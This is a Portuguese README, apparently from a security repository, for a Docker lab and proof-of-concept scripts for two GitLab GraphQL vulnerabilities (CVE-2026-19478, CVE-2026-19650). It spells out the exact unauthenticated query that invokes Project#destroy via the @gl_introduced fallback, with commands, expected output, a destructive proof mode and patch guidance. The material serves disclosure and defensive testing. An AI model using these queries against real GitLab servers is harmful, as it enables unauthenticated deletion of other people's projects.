Laboratório A/B reproduzível + PoC seguro para GitLab CVE-2026-19478 / CVE-2026-19650 (GraphQL @gl_introduced)
@gl_introduced invocação arbitrária de métodos sem autenticação (laboratório de validação + PoC)Laboratório A/B reproduzível e PoC seguro para CVE-2026-19478 (GitLab CE/EE, CVSS 9.4, Crítica). Um atacante não autenticado pode invocar métodos Ruby arbitrários de 0 argumentos em objetos de domínio resolvidos via GraphQL — por exemplo, chamar
Project#destroypara excluir um projeto público sem credenciais.Também inclui um PoC para a vulnerabilidade relacionada CVE-2026-19650 (troca de consulta multiplex GraphQL) corrigida na mesma versão.
Somente para testes de segurança autorizados / fins educacionais. Tudo é executado em seus próprios contêineres locais.
O GitLab inclui uma diretiva de cliente GraphQL @gl_introduced(version: "X.Y.Z") (compatibilidade futura para implantações contínuas). Quando uma consulta nomeia um campo com uma versão mais recente que a do servidor em execução, um tracer (Gitlab::Graphql::VersionFilter::IntroducedTracer) o remove antes da para que a consulta seja validada; em seguida, reexecuta o documento na execução e permite que campos desconhecidos sejam resolvidos por um fallback.
O bug está no fallback (lib/gitlab/graphql/version_filter/future_field_fallback.rb, pré-correção):
def fallback_field(name:)
GraphQL::Schema::Field.new(owner: self, name: name,
type: GraphQL::Types::Boolean, fallback_value: nil) # <-- no resolver
end
Um GraphQL::Schema::Field sem resolver é resolvido pelo graphql-ruby chamando object.public_send(field_name) (graphql-ruby lib/graphql/schema/field.rb — o ramo respond_to?(@method_sym) → public_send é executado antes de fallback_value ser consultado, então fallback_value: nil era código morto). Portanto, sob @gl_introduced, o cliente escolhe um nome de campo igual a qualquer método de 0 argumentos no objeto atualmente resolvido, e o servidor o invoca.
Resolva um projeto público, solicite um "campo futuro" chamado destroy → o servidor executa Project#destroy.
AV:N/AC:L/PR:N/UI:N/C:L/I:H/A:H).Resolvers::NilResolver explícito que retorna nil e nunca chama um método.@gl_introduced(version:) deve ser maior que a versão do servidor (use 99.0.0).to_param, destroy).id) ou o documento filtrado é um conjunto de seleção vazio e o GitLab retorna um erro de validação "Field must have selections".Requisitos: Docker + docker compose, ~8 GB de RAM livres, Python 3.
docker compose up -d # boots vulnerable :8222 and patched :8224 (GitLab takes ~3-5 min to become healthy)
./setup.sh # waits for readiness, seeds a public project + an admin token on each instance
setup.sh exibe, por instância: a URL base, o caminho do projeto público semeado (root/pub) e um PAT de administrador.
Usa a primitiva de chamada de método com um método inofensivo (to_param). Nenhum dado é alterado.
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 # vulnerable -> VULNERABLE
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8224 # patched -> NOT VULNERABLE
Esperado:
[*] mechanism check .......... @gl_introduced active (unknown field returns null, no error)
[*] method-call probe ........ { project(fullPath:"root/pub"){ id to_param @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":true}}
[!] VULNERABLE — server invoked Project#to_param via public_send (returned non-null); CVE-2026-19478 present.
vs. na instância corrigida:
[+] response ................. {"project":{"id":"gid://gitlab/Project/1","to_param":null}}
[+] NOT VULNERABLE — fallback returned null (NilResolver); patched.
Cria seu próprio projeto público descartável via API REST (precisa do token de administrador do setup.sh) e então o exclui por meio do ataque GraphQL não autenticado, confirmando que o projeto não existe mais.
python3 poc_cve_2026_19478.py --url http://127.0.0.1:8222 \
--prove-destroy --token <ADMIN_PAT_FROM_setup.sh> --namespace root
Esperado (vulnerável):
[*] created throwaway public project poc-doomed-<rand> (id=42) via REST
[*] UNAUTH attack ............ { project(fullPath:"root/poc-doomed-<rand>"){ id destroy @gl_introduced(version:"99.0.0") } }
[+] response ................. {"project":{"id":"gid://gitlab/Project/42","destroy":true}}
[+] post-check (REST) ........ GET /api/v4/projects/42 -> 404 Not Found
[!] CONFIRMED — unauthenticated request DELETED the project. CVE-2026-19478 impact proven.
Na instância corrigida, a mesma execução relata que o projeto ainda retorna 200 OK e destroy é null.
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8222 # VULNERABLE (slot 0 returns slot 1's data)
python3 poc_cve_2026_19650.py --url http://127.0.0.1:8224 # NOT VULNERABLE (slots isolated)
Aponte --url para qualquer GitLab que você esteja autorizado a testar e --project para um projeto público nele:
python3 poc_cve_2026_19478.py --url https://gitlab.example.com --project some-group/some-public-project
A detecção é não destrutiva. Não use --prove-destroy contra nada que não seja seu.
Atualize para 19.2.4 / 19.1.6 / 19.0.8 / 18.11.11 ou posterior. A correção direciona o fallback por meio de Resolvers::NilResolver (retorna nil, nunca invoca um método de objeto). Se você não puder atualizar imediatamente, bloqueie a diretiva @gl_introduced / o caminho do filtro de versão em um proxy, ou restrinja o acesso GraphQL não autenticado.
| Arquivo | Finalidade |
|---|---|
docker-compose.yml | Inicia o 19.2.2-ce vulnerável (:8222) + 19.2.4-ce corrigido (:8224) |
setup.sh | Aguarda a prontidão, semeia o projeto público root/pub + token de administrador por instância |
poc_cve_2026_19478.py | Detecção (segura) + prova de impacto opcional --prove-destroy |
poc_cve_2026_19650.py | Detecção de troca de consulta multiplex (segura) |
--prove-destroy cria e exclui seu próprio projeto descartável; nunca toca em root/pub nem em seus dados.e283c6adeb3d (fallback) e d2ea4b971a98 (troca multiplex).